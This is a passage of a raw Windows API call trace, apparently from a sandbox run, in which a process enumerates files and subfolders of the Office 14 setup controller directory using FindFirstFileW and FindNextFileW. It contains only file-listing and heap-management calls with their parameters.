ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0074.061] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.061] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.061] FindClose (in: hFindFile=0x26842f0 | out: hFindFile=0x26842f0) returned 1 [0074.064] GetProcessHeap () returned 0x550000 [0074.064] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.064] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0074.064] GetProcessHeap () returned 0x550000 [0074.064] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.446] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.446] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.446] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.446] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.447] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.448] GetProcessHeap () returned 0x550000 [0074.448] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.449] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0074.449] GetProcessHeap () returned 0x550000 [0074.449] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.450] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.450] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.450] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0074.451] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.451] GetProcessHeap () returned 0x550000 [0074.451] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.451] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0074.451] GetProcessHeap () returned 0x550000 [0074.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.452] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.453] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0074.453] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.453] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.453] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.453] GetProcessHeap () returned 0x550000 [0074.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.454] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0074.454] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0074.454] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0074.454] GetProcessHeap () returned 0x550000 [0074.454] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.455] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.455] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0074.455] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.456] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.456] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.456] GetProcessHeap () returned 0x550000 [0074.456] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.456] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0074.456] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0074.456] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0074.457] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0074.457] GetProcessHeap () returned 0x550000 [0074.457] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.457] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.457] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0074.458] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.458] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.458] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.458] GetProcessHeap () returned 0x550000 [0074.458] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.458] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0074.459] GetProcessHeap () returned 0x550000 [0074.459] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.459] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.459] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0074.459] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.459] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, 